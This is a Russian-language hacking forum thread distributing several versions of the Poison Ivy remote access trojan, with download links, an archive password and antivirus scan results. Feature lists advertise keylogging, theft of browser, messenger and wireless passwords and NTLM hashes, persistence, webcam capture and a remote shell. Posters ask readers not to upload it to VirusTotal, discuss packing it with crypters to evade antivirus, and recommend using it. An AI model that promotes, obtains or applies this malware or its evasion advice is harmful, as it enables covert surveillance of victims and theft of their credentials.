• XSS.stack #1 – первый литературный журнал от юзеров форума

Poison Ivy

Отслеживать

Ŧ1LAN

CPU register
Пользователь
Регистрация
19.12.2005
Сообщения
1 057
Решения
1
Реакции
6
Poison Ivy 2
Каждый называет это как хочет, программа для удалённого администрирования или просто Rat.
:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot
AntiVir 6.35.0.13 06.19.2006  no virus found
Authentium 4.93.8 06.19.2006  no virus found
Avast 4.7.844.0 06.19.2006  no virus found
AVG 386 06.19.2006  no virus found
BitDefender 7.2 06.20.2006  no virus found
CAT-QuickHeal 8.00 06.19.2006  no virus found
ClamAV devel-20060426 06.19.2006  no virus found
DrWeb 4.33 06.19.2006  no virus found
eTrust-InoculateIT 23.72.43 06.20.2006  no virus found
eTrust-Vet 12.6.2263 06.19.2006  no virus found
Ewido 3.5 06.19.2006 Not-A-Virus.RemoteAdmin.Win32.Poison Ivy.20
Fortinet 2.77.0.0 06.20.2006 RAT/Poison_Ivy
F-Prot 3.16f 06.19.2006  no virus found
Ikarus 0.2.65.0 06.19.2006  no virus found
Kaspersky 4.0.2.24 06.20.2006 not-a-virus:RemoteAdmin.Win32.Poison Ivy.20
McAfee 4787 06.19.2006  no virus found
Microsoft 1.1441 06.20.2006  no virus found
NOD32v2 1.1608 06.19.2006  no virus found
Norman 5.90.21 06.19.2006  no virus found
Panda 9.0.0.4 06.19.2006  no virus found
Sophos 4.06.0 06.19.2006  no virus found
Symantec 8.0 06.20.2006  no virus found
TheHacker 5.9.8.162 06.19.2006  no virus found
UNA 1.83 06.19.2006  no virus found
VBA32 3.11.0 06.20.2006 suspected of Malware.Delf.40
VirusBuster 4.3.7:9 06.19.2006 no virus found
вот его возможности:
Server Functions:
[*] Space for DNS: 255 bytes. (25 ports).
[*] Space for Socks4 DNS: 255 bytes. (25 ports).
[*] Connect through a socks4 proxy
[*] Encryption: ARC4.
[*] Startup: Active-x.
[*] CopyTo: System32 or Windows.
[*] Melt
[*] Key logger
[*] Persistence

Main :

[*] Share servers
[*] Persistence: Protects the server file, regentries and process.
[*] Docking
[*] "Away system": The connection-icon will change if the mouse hasn't moved between pings.
[*] Info: OS, Edition, Service Pack, Build, Logged on user, Account type, Computer name, Uptime, Processor, CPU-speed, memory. Server settings.
[*] Key logger: Optional colors on Window name, Time stamp and Key name. Search. Save to file.
[*] File manager: Optional Cache system. Browse network drives. New folder, delete folder (deletes the whole tree), rename folder. Upload/download. Download Folder. Rename file, delete file, Secure delete file, execute file. Show thumbnails.
[*] File search: Search for files. Search in files. Include subdirectories. Case sensitive. Fuzzy (= *word*).
[*] Regeditor: Optional Cache system. Create/Modify: Key, reg_sz, reg_binary, reg_dword, reg_multi_sz, reg_expand_sz. Delete key (deletes the whole tree).
[*] Regedit Search: Search for Keys, Values, Data (all types). Include subkeys. Case sensitive. Fuzzy (= *word*).
[*] Windows List: Capture window. Show/SPOILER/Minimize/maximize/close window. Send keys. Shows area of each window + % of the whole screen.
[*] Process Manager: Save to file. Kill process. Shows Threads, CPU-usage, Mem-usage, Create-time, handle count.
[*] Service Manager: Lists all services + drivers. Start/stop/uninstall/install/edit services. Shows Path, Description, Type, Status, Startup type. Save to file.
[*] Password List: MSN (version <7) passwords. Firefox passwords.
[*] Relay: Socks4 server. Socks5 server. Gateway server. Kill connection. Shows UserID, Password (socks5), SourceIP, Dest. IP, Dest. Port, Traffic, Session time.
[*] Active Ports: Show all active ports and processes. Kill process. Kill connection. Resolve DNS.
[*] Packet analyzer: Choose which interface to sniff. More filter-options.
[*] Remote shell capability
[*] Screen capture: Only sends the updated parts of the screen.
[*] Webcam capture
* + More
:zns5: Скачать|RapidShare
 
Remote Admin Tools :: Poison Ivy 2.1.0
Name: Poison Ivy 2.1.0
Author: shapeless
:screenshot: Скриншот|Screenshot

Новая версия БэкДора
На данный момент Антивирусами не палится! Огромная просьба к особо умным - На VirusTotal НЕ проверять!

Description
What's New? (some of the many improvements)
+ New user interface and the ability to change layout
+ “Test Connections” in the DNS/Port editor
+ IE protected storage in Password List
+ “Data transfers”. Lets you control all data flow between client<->server
+ Multiple data transfers possible (on 1 socket)
+ Server changes its own time stamp when installed
+ Change mutex names when you build
+ “Save Path To Clipboard” when you right-click on the file/regedit status bar
+ Downloaded data is saved to: “ComputerName^UserName\”
+ Save To File/Load From File in DNS/Port editor
+ Server is now smaller
+ Added “Suspend Process” in the Process Manager
+ Improved various things in the server
+ Settings in the server are no longer in plain-text
Bugfixes:
* XP theme display bug.
* No more multiple instances when using Persistence.
* Active Ports bug displaying fake UDP connections.


:zns5: Скачать|Download
 
И снова поизон иви) тока с небольшим опозданием... но всё же. )
исправлены пара багов которые были в предыдущей версиии.
Bugfixes:
- Server times out after 180 seconds.
- Fixed Uninstall bug.
- Fixed crash bugs (hopefully all).
ну и добавлено:

+ Relay traffic controller (”Socket Traffic”). View and manipulate traffic between the connecting sockets.
+ Edit ID.
+ Client saves more settings to the *.ini-file (window’s position, screen capture settings etc).

:zns5: Скачать|Download
 
Пожалуйста, обратите внимание, что пользователь заблокирован
egoiste
Конешно троян,а ты думал здесь будет ящик картошки? :crazy:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
egoiste
Кто говорит про крипторы?Если уметь хорошо криптовать,то можно и самый палящийся вирь закриптовать так что ниодин антивирь не распознает...харэ офтопить,здесь же не про криптование,а про поисон иви
 
Да и кстати poison ivy не особо сложно паблик крипторами запрятать, если повозиться немного. Другое дело, что спалится он во время работы может, но в новых версиях обычно с этим дело хорошо, вообще я его сам часто использую и вам советую, backconnect куда эффективнее прямого во многих случаях, правда анонимность тут не так просто сделать( мне по краней мере )
 
Poison Ivy 2.1.2

- Check for new updates online (optional feature)
- Browse for folders/keys in the search
- File manager and regedit cache rebuilds itself automaticly
- Thumbnail viewing is now faster and refreshes automaticly when choosen
- Installed applications. (Screenshot)
- Keyboard control in Screen capture is now better (supports more keys)
- Dead connections are removed the moment they die
- Wireless Zero Configuration Passwords
- NT/NTLM hashes
- Preserve dead connections
- Custom injection
- Key logger now supports ´ and ¨
- Run on restricted accounts

:zns5: Скачать|Download
:zns3: Пароль: swerat.com
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх